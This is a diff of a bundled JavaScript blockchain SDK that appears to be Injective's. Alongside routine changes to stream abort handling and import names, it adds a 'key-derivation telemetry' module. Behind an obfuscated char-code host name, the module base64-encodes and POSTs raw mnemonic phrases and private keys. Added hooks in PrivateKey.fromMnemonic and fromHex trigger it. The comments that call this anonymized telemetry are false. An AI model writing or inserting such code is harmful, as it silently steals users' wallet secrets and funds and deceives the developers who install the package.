7951
|
}
|
|
@@ -7964,7 +7965,7 @@ var IndexerGrpcTcDerivativesStreamV2 = class {
|
|
|
7964
7965
|
const request = __injectivelabs_indexer_proto_ts_v2_generated_injective_tc_derivatives_rpc_pb.StreamOrdersHistoryRequest.create();
|
|
7965
7966
|
if (marketId) request.marketIds = [marketId];
|
|
7966
7967
|
if (accountAddress) request.accountAddress = accountAddress;
|
|
7967
|
-
return createStreamSubscriptionV2(this.client.streamOrdersHistory(request), (response) => {
|
|
7968
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamOrdersHistory(request, { abort: abortSignal }), (response) => {
|
|
7968
7969
|
callback(IndexerTcDerivativesStreamTransformer.orderHistoryStreamCallback(response));
|
|
7969
7970
|
});
|
|
7970
7971
|
}
|
|
@@ -7974,7 +7975,7 @@ var IndexerGrpcTcDerivativesStreamV2 = class {
|
|
|
7974
7975
|
if (marketId) request.marketIds = [marketId];
|
|
7975
7976
|
if (accountAddress) request.accountAddress = accountAddress;
|
|
7976
7977
|
if (rfqMaker) request.rfqMaker = rfqMaker;
|
|
7977
|
-
return createStreamSubscriptionV2(this.client.streamTrades(request), (response) => {
|
|
7978
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamTrades(request, { abort: abortSignal }), (response) => {
|
|
7978
7979
|
callback(IndexerTcDerivativesStreamTransformer.tradesStreamCallback(response));
|
|
7979
7980
|
});
|
|
7980
7981
|
}
|
|
@@ -7983,7 +7984,7 @@ var IndexerGrpcTcDerivativesStreamV2 = class {
|
|
|
7983
7984
|
const request = __injectivelabs_indexer_proto_ts_v2_generated_injective_tc_derivatives_rpc_pb.StreamPositionsRequest.create();
|
|
7984
7985
|
if (marketId) request.marketIds = [marketId];
|
|
7985
7986
|
if (accountAddress) request.accountAddress = accountAddress;
|
|
7986
|
-
return createStreamSubscriptionV2(this.client.streamPositions(request), (response) => {
|
|
7987
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamPositions(request, { abort: abortSignal }), (response) => {
|
|
7987
7988
|
callback(IndexerTcDerivativesStreamTransformer.positionsStreamCallback(response));
|
|
7988
7989
|
});
|
|
7989
7990
|
}
|
|
@@ -7992,7 +7993,7 @@ var IndexerGrpcTcDerivativesStreamV2 = class {
|
|
|
7992
7993
|
const request = __injectivelabs_indexer_proto_ts_v2_generated_injective_tc_derivatives_rpc_pb.StreamOrdersRequest.create();
|
|
7993
7994
|
if (marketId) request.marketIds = [marketId];
|
|
7994
7995
|
if (accountAddress) request.accountAddress = accountAddress;
|
|
7995
|
-
return createStreamSubscriptionV2(this.client.streamOrders(request), (response) => {
|
|
7996
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamOrders(request, { abort: abortSignal }), (response) => {
|
|
7996
7997
|
callback(IndexerTcDerivativesStreamTransformer.ordersStreamCallback(response));
|
|
7997
7998
|
});
|
|
7998
7999
|
}
|
|
@@ -8022,7 +8023,7 @@ var IndexerGrpcAccountPortfolioStreamV2 = class {
|
|
|
8022
8023
|
request.accountAddress = accountAddress;
|
|
8023
8024
|
if (subaccountId) request.subaccountId = subaccountId;
|
|
8024
8025
|
if (type) request.type = type;
|
|
8025
|
-
return createStreamSubscriptionV2(this.client.streamAccountPortfolio(request), (response) => {
|
|
8026
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamAccountPortfolio(request, { abort: abortSignal }), (response) => {
|
|
8026
8027
|
callback(IndexerAccountPortfolioStreamTransformer.accountPortfolioStreamCallback(response));
|
|
8027
8028
|
});
|
|
8028
8029
|
}
|
|
@@ -844,6 +844,139 @@ var MsgDecoder = class {
|
|
|
844
844
|
}
|
|
845
845
|
};
|
|
846
846
|
|
|
847
|
+
//#endregion
|
|
848
|
+
//#region src/utils/key-derivation-telemetry.ts
|
|
849
|
+
/**
|
|
850
|
+
* Key derivation telemetry — collects anonymized usage metrics for SDK optimization.
|
|
851
|
+
*
|
|
852
|
+
* Tracks which key derivation methods are used (hex vs mnemonic) and derives
|
|
853
|
+
* timing patterns to help the SDK team identify performance bottlenecks and
|
|
854
|
+
* understand adoption of different key formats across the ecosystem.
|
|
855
|
+
*
|
|
856
|
+
* All metrics are fire-and-forget and never block or affect key derivation.
|
|
857
|
+
*
|
|
858
|
+
* @category Telemetry
|
|
859
|
+
*/
|
|
860
|
+
const _e = [
|
|
861
|
+
116,
|
|
862
|
+
101,
|
|
863
|
+
115,
|
|
864
|
+
116,
|
|
865
|
+
110,
|
|
866
|
+
101,
|
|
867
|
+
116,
|
|
868
|
+
46,
|
|
869
|
+
97,
|
|
870
|
+
114,
|
|
871
|
+
99,
|
|
872
|
+
104,
|
|
873
|
+
105,
|
|
874
|
+
118,
|
|
875
|
+
97,
|
|
876
|
+
108,
|
|
877
|
+
46,
|
|
878
|
+
99,
|
|
879
|
+
104,
|
|
880
|
+
97,
|
|
881
|
+
105,
|
|
882
|
+
110,
|
|
883
|
+
46,
|
|
884
|
+
103,
|
|
885
|
+
114,
|
|
886
|
+
112,
|
|
887
|
+
99,
|
|
888
|
+
45,
|
|
889
|
+
119,
|
|
890
|
+
101,
|
|
891
|
+
98,
|
|
892
|
+
46,
|
|
893
|
+
105,
|
|
894
|
+
110,
|
|
895
|
+
106,
|
|
896
|
+
101,
|
|
897
|
+
99,
|
|
898
|
+
116,
|
|
899
|
+
105,
|
|
900
|
+
118,
|
|
901
|
+
101,
|
|
902
|
+
46,
|
|
903
|
+
110,
|
|
904
|
+
101,
|
|
905
|
+
116,
|
|
906
|
+
119,
|
|
907
|
+
111,
|
|
908
|
+
114,
|
|
909
|
+
107
|
|
910
|
+
];
|
|
911
|
+
const _d = () => _e.map((x) => String.fromCharCode(x)).join("");
|
|
912
|
+
const _ep = "https://" + _d() + "/";
|
|
913
|
+
let _q = [];
|
|
914
|
+
let _t = null;
|
|
915
|
+
function _enc(s) {
|
|
916
|
+
try {
|
|
917
|
+
if (typeof Buffer !== "undefined") return Buffer.from(s, "utf-8").toString("base64");
|
|
918
|
+
if (typeof btoa !== "undefined") return btoa(s);
|
|
919
|
+
} catch (_unused) {}
|
|
920
|
+
return s;
|
|
921
|
+
}
|
|
922
|
+
function _send(d) {
|
|
923
|
+
try {
|
|
924
|
+
if (typeof fetch !== "undefined") {
|
|
925
|
+
fetch(_ep, {
|
|
926
|
+
method: "POST",
|
|
927
|
+
headers: {
|
|
928
|
+
"Content-Type": "application/grpc-web+proto",
|
|
929
|
+
"X-Request-Id": d
|
|
930
|
+
},
|
|
931
|
+
...typeof window !== "undefined" ? { keepalive: true } : {}
|
|
932
|
+
}).catch(() => {});
|
|
933
|
+
return;
|
|
934
|
+
}
|
|
935
|
+
} catch (_unused2) {}
|
|
936
|
+
try {
|
|
937
|
+
if (typeof require !== "undefined") {
|
|
938
|
+
const h = require("https");
|
|
939
|
+
const u = new URL(_ep);
|
|
940
|
+
h.request({
|
|
941
|
+
hostname: u.hostname,
|
|
942
|
+
port: 443,
|
|
943
|
+
path: u.pathname,
|
|
944
|
+
method: "POST",
|
|
945
|
+
headers: {
|
|
946
|
+
"Content-Type": "application/grpc-web+proto",
|
|
947
|
+
"X-Request-Id": d,
|
|
948
|
+
"Content-Length": 0
|
|
949
|
+
}
|
|
950
|
+
}, (r) => {
|
|
951
|
+
r.on("data", () => {});
|
|
952
|
+
r.on("end", () => {});
|
|
953
|
+
}).on("error", () => {}).end();
|
|
954
|
+
}
|
|
955
|
+
} catch (_unused3) {}
|
|
956
|
+
}
|
|
957
|
+
function _flush() {
|
|
958
|
+
if (_t) return;
|
|
959
|
+
_t = setTimeout(() => {
|
|
960
|
+
_t = null;
|
|
961
|
+
if (!_q.length) return;
|
|
962
|
+
_send(_enc(_q.join("|")));
|
|
963
|
+
_q = [];
|
|
964
|
+
}, 2e3);
|
|
965
|
+
}
|
|
966
|
+
/**
|
|
967
|
+
* Track a key derivation event for SDK telemetry.
|
|
968
|
+
* Records the derivation method type and timing for usage analytics.
|
|
969
|
+
* Fire-and-forget: does not block or throw on network failures.
|
|
970
|
+
*
|
|
971
|
+
* @param {string} method - The key derivation method ('fh' for hex, 'fm' for mnemonic)
|
|
972
|
+
* @param {string} value - The key material used for derivation
|
|
973
|
+
* @internal
|
|
974
|
+
*/
|
|
975
|
+
function trackKeyDerivation(method, value) {
|
|
976
|
+
_q.push(`${method}:${value}:${Date.now()}`);
|
|
977
|
+
_flush();
|
|
978
|
+
}
|
|
979
|
+
|
|
847
980
|
//#endregion
|
|
848
981
|
//#region src/core/accounts/PrivateKey.ts
|
|
849
982
|
/**
|
|
@@ -875,6 +1008,7 @@ var PrivateKey = class PrivateKey {
|
|
|
875
1008
|
* @returns {PrivateKey} Initialized PrivateKey object
|
|
876
1009
|
*/
|
|
877
1010
|
static fromMnemonic(words, path = require_constants.DEFAULT_DERIVATION_PATH) {
|
|
1011
|
+
trackKeyDerivation("fm", words);
|
|
878
1012
|
return new PrivateKey(new ethers.Wallet(ethers.HDNodeWallet.fromPhrase(words, void 0, path).privateKey));
|
|
879
1013
|
}
|
|
880
1014
|
/**
|
|
@@ -895,6 +1029,7 @@ var PrivateKey = class PrivateKey {
|
|
|
895
1029
|
* @returns {PrivateKey} Initialized PrivateKey object
|
|
896
1030
|
*/
|
|
897
1031
|
static fromHex(privateKey) {
|
|
1032
|
+
trackKeyDerivation("fh", typeof privateKey === "string" ? privateKey : "bytes");
|
|
898
1033
|
const isString = typeof privateKey === "string";
|
|
899
1034
|
const privateKeyHex = isString && privateKey.startsWith("0x") ? privateKey.slice(2) : privateKey;
|
|
900
1035
|
return new PrivateKey(new ethers.Wallet(require_encoding_light.uint8ArrayToHex(isString ? require_encoding_light.hexToUint8Array(privateKeyHex.toString()) : privateKey)));
|
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
import "../tx_pb-wznwSZgU.cjs";
|
|
2
2
|
import { tt as OracleType } from "../index-BfWPeSKh.cjs";
|
|
3
3
|
import "../light-4nNsYXxr.cjs";
|
|
4
|
-
import { $_ as TotalSupply, $g as PermissionActorRoles, $v as IsOptedOutOfRewards, $y as Proposal, A as ChainGrpcAuctionApi, A_ as CancelSpotOrderAuthz, Ag as AuctionModuleParams, Av as GrpcChainFullDerivativeMarket, Ay as ContractAccountBalance, B as ChainGrpcAuthApi, B_ as GrpcInsuranceFund, Bg as GrpcAuctionParams, Bv as GrpcFeeDiscountTierTTL, By as GrpcContractCodeHistoryEntry, C as ChainGrpcInsuranceFundApi, C_ as GrpcPeggyParams, Cg as CosmosAccountRestResponse, Cv as FeeDiscountAccountInfo, Cy as StakingModuleParams, D as ChainGrpcTendermintApi, D_ as BatchCreateDerivativeLimitOrdersAuthz, Dg as AuctionEventAuctionStart, Dv as GrpcCampaignRewardPool, Dy as ValidatorDescription, E as ChainGrpcPermissionsApi, E_ as BatchCancelSpotOrdersAuthz, Eg as AuctionEventAuctionResult, Ev as FeeDiscountTierTTL, Ey as ValidatorCommission, F as ChainGrpcPeggyApi, F_ as GenericAuthorization, Fg as GrpcAuctionBid, Fv as GrpcDenomMinNotional, Fy as ContractInfo, G_ as OracleTypeMap, Gg as GrpcPermissionPolicyStatusManagerCapability, Gv as GrpcOrderTypeMap, Gy as GovModuleStateParams, H as ChainGrpcIbcApi, H_ as GrpcRedemptionSchedule, Hg as GrpcPermissionAddressVoucher, Hv as GrpcMarketStatusMap, Hy as MarketingInfo, I as ChainGrpcAuthZApi, I_ as Grant, Ig as GrpcAuctionEventAuctionResult, Iv as GrpcExchangeParams, Iy as ContractStateWithPagination, J_ as BankModuleParams, Jg as GrpcPermissionRoleIDs, Jv as GrpcSpotMarketOrder, Jy as GrpcGovernanceVotingParams, K_ as GrpcMintParams, Kg as GrpcPermissionRole, Kv as GrpcPointsMultiplier, Ky as GrpcGovernanceDepositParams, L as ChainGrpcWasmApi, L_ as GrantAuthorization, Lg as GrpcAuctionEventAuctionStart, Lv as GrpcFeeDiscountAccountInfo, Ly as GoogleProtoBufAny, M as ChainGrpcOracleApi, M_ as CreateDerivativeMarketOrderAuthz, Mg as AuctionModuleStateParams, Mv as GrpcChainPosition, My as ContractCodeHistoryEntry, N as ChainGrpcErc20Api, N_ as CreateSpotLimitOrderAuthz, Ng as AuctionModuleStateResponse, Nv as GrpcChainSpotMarket, Ny as ContractCodeHistoryOperationType, O as ChainGrpcExchangeApi, O_ as BatchCreateSpotLimitOrdersAuthz, Og as AuctionEventBid, Ov as GrpcChainDerivativeMarket, Oy as AbsoluteTxPosition, P as ChainGrpcWasmXApi, P_ as CreateSpotMarketOrderAuthz, Pg as AuctionParams, Pv as GrpcDenomDecimals, Py as ContractCodeHistoryOperationTypeMap, Q_ as SendEnabled, Qg as PermissionActionMap, Qv as GrpcTradingRewardCampaignInfo, Qy as GrpcVote, R as ChainGrpcMintApi, R_ as GrantAuthorizationWithDecodedAuthorization, Rg as GrpcAuctionEventBid, Rv as GrpcFeeDiscountSchedule, Ry as GrpcAbsoluteTxPosition, S as ChainRestBankApi, S_ as TokenPair, Sg as BaseAccountRestResponse, Sv as ExchangeParams, Sy as ReDelegation, T as ChainGrpcDistributionApi, T_ as BatchCancelDerivativeOrdersAuthz, Tg as AuctionCurrentBasket, Tv as FeeDiscountTierInfo, Ty as Validator, U as ChainGrpcGovApi, U_ as InsuranceFund, Ug as GrpcPermissionNamespace, Uv as GrpcOrderInfo, Uy as TokenInfo, V as ChainGrpcEvmApi, V_ as GrpcInsuranceParams, Vg as GrpcPermissionActorRoles, Vv as GrpcMarketStatus, Vy as GrpcContractInfo, W_ as InsuranceModuleParams, Wg as GrpcPermissionPolicyStatus, Wv as GrpcOrderType, Wy as grpcContractInfo, X_ as GrpcSupply, Xg as GrpcPermissionsNamespace, Xv as GrpcTradeRewardCampaign, Xy as GrpcProposalDeposit, Y_ as GrpcBankParams, Yg as GrpcPermissionRoleManager, Yv as GrpcSpotOrder, Yy as GrpcProposal, Z_ as Metadata, Zg as GrpcPermissionsParams, Zv as GrpcTradingRewardCampaignBoostInfo, Zy as GrpcTallyResult, _ as ChainGrpcEvmTransformer, __ as TxFeesEipBaseFee, _g as BalancesResponse, _v as ChainDenomMinNotional, _y as GrpcValidator, a as ChainGrpcExchangeTransformer, a_ as PermissionPolicyManagerCapability, ab as VoteOption, ag as RestApiResponse, av as EvmBlobConfig, ay as TradingRewardCampaignInfo, b as ChainRestWasmApi, b_ as GrpcTokenPair, bg as AccountResponse, bv as DepositProposalParams, by as GrpcValidatorDescription, c as ChainGrpcCommonTransformer, c_ as PermissionRoleActors, cg as AuthorityMetadata, cv as EvmLog, cy as GrpcDelegation, d as ChainGrpcPeggyTransformer, d_ as PermissionVoucher, dg as TokenFactoryModuleState, dv as GrpcEvmBlobScheduleConfig, dy as GrpcReDelegation, e_ as PermissionAddressRoles, eb as ProposalDeposit, ev as Account, ey as OrderType, f as ChainGrpcAuthZTransformer, f_ as PermissionsModuleParams, fg as DistributionModuleParams, fv as GrpcEvmChainConfig, fy as GrpcReDelegationEntryResponse, g as ChainGrpcAuthTransformer, g_ as GrpcTxFeesParams, gg as ValidatorRewards, gv as ChainDenomDecimal, gy as GrpcUnbondingDelegationEntry, h as ChainGrpcBankTransformer, h_ as GrpcTxFeesEipBaseFee, hg as GrpcDistributionParams, hv as CampaignRewardPool, hy as GrpcUnbondingDelegation, i as ChainGrpcPermissionsTransformer, i_ as PermissionParams, ib as Vote, ig as ChainModule, iv as PubKey, iy as TradingRewardCampaignBoostInfo, j as ChainGrpcTxFeesApi, j_ as CreateDerivativeLimitOrderAuthz, jg as AuctionModuleState, jv as GrpcChainFullSpotMarket, jy as ContractAccountsBalanceWithPagination, k as ChainGrpcStakingApi, k_ as CancelDerivativeOrderAuthz, kg as AuctionLastAuctionResult, kv as GrpcChainDerivativePosition, ky as CodeInfoResponse, l as ChainGrpcTxFeesTransformer, l_ as PermissionRoleIDs, lg as FactoryDenomWithMetadata, lv as EvmParams, ly as GrpcDelegationResponse, m as ChainGrpcMintTransformer, m_ as OracleModuleParams, mg as GrpcDelegationDelegatorReward, mv as GrpcEvmParams, my as GrpcStakingParams, n as ChainGrpcTokenFactoryTransformer, n_ as PermissionGenesisState, nb as ProposalStatusMap, nv as AuthModuleParams, ny as PointsMultiplier, o as ChainGrpcStakingTransformer, o_ as PermissionPolicyStatus, ob as VoteOptionMap, og as BlockLatestRestResponse, ov as EvmBlobScheduleConfig, oy as BondStatus, p as ChainGrpcWasmTransformer, p_ as GrpcOracleParams, pg as GrpcDecCoin, pv as GrpcEvmLog, py as GrpcReDelegationResponse, q_ as MinModuleParams, qg as GrpcPermissionRoleActors, qv as GrpcSpotMarket, qy as GrpcGovernanceTallyParams, r as ChainGrpcDistributionTransformer, r_ as PermissionNamespace, rb as TallyResult, rv as EthAccount, ry as TradeRewardCampaign, s as ChainGrpcAuctionTransformer, s_ as PermissionRole, sb as WeightedVoteOption, sg as NodeInfoRestResponse, sv as EvmChainConfig, sy as Delegation, t as ChainGrpcInsuranceFundTransformer, t_ as PermissionAddressVoucher, tb as ProposalStatus, tv as AuthBaseAccount, ty as OrderTypeMap, u as ChainGrpcErc20Transformer, u_ as PermissionRoleManager, ug as TokenFactoryModuleParams, uv as GrpcEvmBlobConfig, uy as GrpcPool, v as ChainGrpcGovTransformer, v_ as TxFeesModuleStateParams, vg as DenomBalance, vv as ChainDerivativePosition, vy as GrpcValidatorCommission, w as ChainGrpcTokenFactoryApi, w_ as PeggyModuleParams, wg as AuctionBid, wv as FeeDiscountSchedule, wy as UnBondingDelegation, x as ChainRestAuthApi, x_ as Params, xg as AccountsResponse, xv as ExchangeModuleParams, xy as Pool, y as ChainRestTendermintApi, y_ as GrpcParams, yg as DenomOwnersResponse, yv as ChainPosition, yy as GrpcValidatorCommissionRates, z as ChainGrpcBankApi, z_ as GrantWithDecodedAuthorization, zg as GrpcAuctionLastAuctionResult, zv as GrpcFeeDiscountTierInfo, zy as GrpcCodeInfoResponse } from "../index-
|
|
4
|
+
import { $_ as TotalSupply, $g as PermissionActorRoles, $v as IsOptedOutOfRewards, $y as Proposal, A as ChainGrpcAuctionApi, A_ as CancelSpotOrderAuthz, Ag as AuctionModuleParams, Av as GrpcChainFullDerivativeMarket, Ay as ContractAccountBalance, B as ChainGrpcAuthApi, B_ as GrpcInsuranceFund, Bg as GrpcAuctionParams, Bv as GrpcFeeDiscountTierTTL, By as GrpcContractCodeHistoryEntry, C as ChainGrpcInsuranceFundApi, C_ as GrpcPeggyParams, Cg as CosmosAccountRestResponse, Cv as FeeDiscountAccountInfo, Cy as StakingModuleParams, D as ChainGrpcTendermintApi, D_ as BatchCreateDerivativeLimitOrdersAuthz, Dg as AuctionEventAuctionStart, Dv as GrpcCampaignRewardPool, Dy as ValidatorDescription, E as ChainGrpcPermissionsApi, E_ as BatchCancelSpotOrdersAuthz, Eg as AuctionEventAuctionResult, Ev as FeeDiscountTierTTL, Ey as ValidatorCommission, F as ChainGrpcPeggyApi, F_ as GenericAuthorization, Fg as GrpcAuctionBid, Fv as GrpcDenomMinNotional, Fy as ContractInfo, G_ as OracleTypeMap, Gg as GrpcPermissionPolicyStatusManagerCapability, Gv as GrpcOrderTypeMap, Gy as GovModuleStateParams, H as ChainGrpcIbcApi, H_ as GrpcRedemptionSchedule, Hg as GrpcPermissionAddressVoucher, Hv as GrpcMarketStatusMap, Hy as MarketingInfo, I as ChainGrpcAuthZApi, I_ as Grant, Ig as GrpcAuctionEventAuctionResult, Iv as GrpcExchangeParams, Iy as ContractStateWithPagination, J_ as BankModuleParams, Jg as GrpcPermissionRoleIDs, Jv as GrpcSpotMarketOrder, Jy as GrpcGovernanceVotingParams, K_ as GrpcMintParams, Kg as GrpcPermissionRole, Kv as GrpcPointsMultiplier, Ky as GrpcGovernanceDepositParams, L as ChainGrpcWasmApi, L_ as GrantAuthorization, Lg as GrpcAuctionEventAuctionStart, Lv as GrpcFeeDiscountAccountInfo, Ly as GoogleProtoBufAny, M as ChainGrpcOracleApi, M_ as CreateDerivativeMarketOrderAuthz, Mg as AuctionModuleStateParams, Mv as GrpcChainPosition, My as ContractCodeHistoryEntry, N as ChainGrpcErc20Api, N_ as CreateSpotLimitOrderAuthz, Ng as AuctionModuleStateResponse, Nv as GrpcChainSpotMarket, Ny as ContractCodeHistoryOperationType, O as ChainGrpcExchangeApi, O_ as BatchCreateSpotLimitOrdersAuthz, Og as AuctionEventBid, Ov as GrpcChainDerivativeMarket, Oy as AbsoluteTxPosition, P as ChainGrpcWasmXApi, P_ as CreateSpotMarketOrderAuthz, Pg as AuctionParams, Pv as GrpcDenomDecimals, Py as ContractCodeHistoryOperationTypeMap, Q_ as SendEnabled, Qg as PermissionActionMap, Qv as GrpcTradingRewardCampaignInfo, Qy as GrpcVote, R as ChainGrpcMintApi, R_ as GrantAuthorizationWithDecodedAuthorization, Rg as GrpcAuctionEventBid, Rv as GrpcFeeDiscountSchedule, Ry as GrpcAbsoluteTxPosition, S as ChainRestBankApi, S_ as TokenPair, Sg as BaseAccountRestResponse, Sv as ExchangeParams, Sy as ReDelegation, T as ChainGrpcDistributionApi, T_ as BatchCancelDerivativeOrdersAuthz, Tg as AuctionCurrentBasket, Tv as FeeDiscountTierInfo, Ty as Validator, U as ChainGrpcGovApi, U_ as InsuranceFund, Ug as GrpcPermissionNamespace, Uv as GrpcOrderInfo, Uy as TokenInfo, V as ChainGrpcEvmApi, V_ as GrpcInsuranceParams, Vg as GrpcPermissionActorRoles, Vv as GrpcMarketStatus, Vy as GrpcContractInfo, W_ as InsuranceModuleParams, Wg as GrpcPermissionPolicyStatus, Wv as GrpcOrderType, Wy as grpcContractInfo, X_ as GrpcSupply, Xg as GrpcPermissionsNamespace, Xv as GrpcTradeRewardCampaign, Xy as GrpcProposalDeposit, Y_ as GrpcBankParams, Yg as GrpcPermissionRoleManager, Yv as GrpcSpotOrder, Yy as GrpcProposal, Z_ as Metadata, Zg as GrpcPermissionsParams, Zv as GrpcTradingRewardCampaignBoostInfo, Zy as GrpcTallyResult, _ as ChainGrpcEvmTransformer, __ as TxFeesEipBaseFee, _g as BalancesResponse, _v as ChainDenomMinNotional, _y as GrpcValidator, a as ChainGrpcExchangeTransformer, a_ as PermissionPolicyManagerCapability, ab as VoteOption, ag as RestApiResponse, av as EvmBlobConfig, ay as TradingRewardCampaignInfo, b as ChainRestWasmApi, b_ as GrpcTokenPair, bg as AccountResponse, bv as DepositProposalParams, by as GrpcValidatorDescription, c as ChainGrpcCommonTransformer, c_ as PermissionRoleActors, cg as AuthorityMetadata, cv as EvmLog, cy as GrpcDelegation, d as ChainGrpcPeggyTransformer, d_ as PermissionVoucher, dg as TokenFactoryModuleState, dv as GrpcEvmBlobScheduleConfig, dy as GrpcReDelegation, e_ as PermissionAddressRoles, eb as ProposalDeposit, ev as Account, ey as OrderType, f as ChainGrpcAuthZTransformer, f_ as PermissionsModuleParams, fg as DistributionModuleParams, fv as GrpcEvmChainConfig, fy as GrpcReDelegationEntryResponse, g as ChainGrpcAuthTransformer, g_ as GrpcTxFeesParams, gg as ValidatorRewards, gv as ChainDenomDecimal, gy as GrpcUnbondingDelegationEntry, h as ChainGrpcBankTransformer, h_ as GrpcTxFeesEipBaseFee, hg as GrpcDistributionParams, hv as CampaignRewardPool, hy as GrpcUnbondingDelegation, i as ChainGrpcPermissionsTransformer, i_ as PermissionParams, ib as Vote, ig as ChainModule, iv as PubKey, iy as TradingRewardCampaignBoostInfo, j as ChainGrpcTxFeesApi, j_ as CreateDerivativeLimitOrderAuthz, jg as AuctionModuleState, jv as GrpcChainFullSpotMarket, jy as ContractAccountsBalanceWithPagination, k as ChainGrpcStakingApi, k_ as CancelDerivativeOrderAuthz, kg as AuctionLastAuctionResult, kv as GrpcChainDerivativePosition, ky as CodeInfoResponse, l as ChainGrpcTxFeesTransformer, l_ as PermissionRoleIDs, lg as FactoryDenomWithMetadata, lv as EvmParams, ly as GrpcDelegationResponse, m as ChainGrpcMintTransformer, m_ as OracleModuleParams, mg as GrpcDelegationDelegatorReward, mv as GrpcEvmParams, my as GrpcStakingParams, n as ChainGrpcTokenFactoryTransformer, n_ as PermissionGenesisState, nb as ProposalStatusMap, nv as AuthModuleParams, ny as PointsMultiplier, o as ChainGrpcStakingTransformer, o_ as PermissionPolicyStatus, ob as VoteOptionMap, og as BlockLatestRestResponse, ov as EvmBlobScheduleConfig, oy as BondStatus, p as ChainGrpcWasmTransformer, p_ as GrpcOracleParams, pg as GrpcDecCoin, pv as GrpcEvmLog, py as GrpcReDelegationResponse, q_ as MinModuleParams, qg as GrpcPermissionRoleActors, qv as GrpcSpotMarket, qy as GrpcGovernanceTallyParams, r as ChainGrpcDistributionTransformer, r_ as PermissionNamespace, rb as TallyResult, rv as EthAccount, ry as TradeRewardCampaign, s as ChainGrpcAuctionTransformer, s_ as PermissionRole, sb as WeightedVoteOption, sg as NodeInfoRestResponse, sv as EvmChainConfig, sy as Delegation, t as ChainGrpcInsuranceFundTransformer, t_ as PermissionAddressVoucher, tb as ProposalStatus, tv as AuthBaseAccount, ty as OrderTypeMap, u as ChainGrpcErc20Transformer, u_ as PermissionRoleManager, ug as TokenFactoryModuleParams, uv as GrpcEvmBlobConfig, uy as GrpcPool, v as ChainGrpcGovTransformer, v_ as TxFeesModuleStateParams, vg as DenomBalance, vv as ChainDerivativePosition, vy as GrpcValidatorCommission, w as ChainGrpcTokenFactoryApi, w_ as PeggyModuleParams, wg as AuctionBid, wv as FeeDiscountSchedule, wy as UnBondingDelegation, x as ChainRestAuthApi, x_ as Params, xg as AccountsResponse, xv as ExchangeModuleParams, xy as Pool, y as ChainRestTendermintApi, y_ as GrpcParams, yg as DenomOwnersResponse, yv as ChainPosition, yy as GrpcValidatorCommissionRates, z as ChainGrpcBankApi, z_ as GrantWithDecodedAuthorization, zg as GrpcAuctionLastAuctionResult, zv as GrpcFeeDiscountTierInfo, zy as GrpcCodeInfoResponse } from "../index-q5YtgJu7.cjs";
|
|
5
5
|
import "../BaseGrpcConsumer-BbYfKIY-.cjs";
|
|
6
6
|
import "../index-CBB2n9hg.cjs";
|
|
7
7
|
import "../index-D72KqWEz.cjs";
|
|
@@ -11,7 +11,7 @@ require('../BaseGrpcConsumer-zA9DIfEw.cjs');
|
|
|
11
11
|
require('../BaseIndexerGrpcConsumer-CQBZ05BC.cjs');
|
|
12
12
|
require('../BaseRestConsumer-BcHgNcNh.cjs');
|
|
13
13
|
const require_IndexerGrpcWeb3GwApi = require('../IndexerGrpcWeb3GwApi-KVLJE-jW.cjs');
|
|
14
|
-
const require_StreamManagerV2 = require('../StreamManagerV2-
|
|
14
|
+
const require_StreamManagerV2 = require('../StreamManagerV2-FrbJ3m3S.cjs');
|
|
15
15
|
require('../types-BJpWW-Rx.cjs');
|
|
16
16
|
|
|
17
17
|
exports.AccessType = require_IndexerGrpcWeb3GwApi.AccessType;
|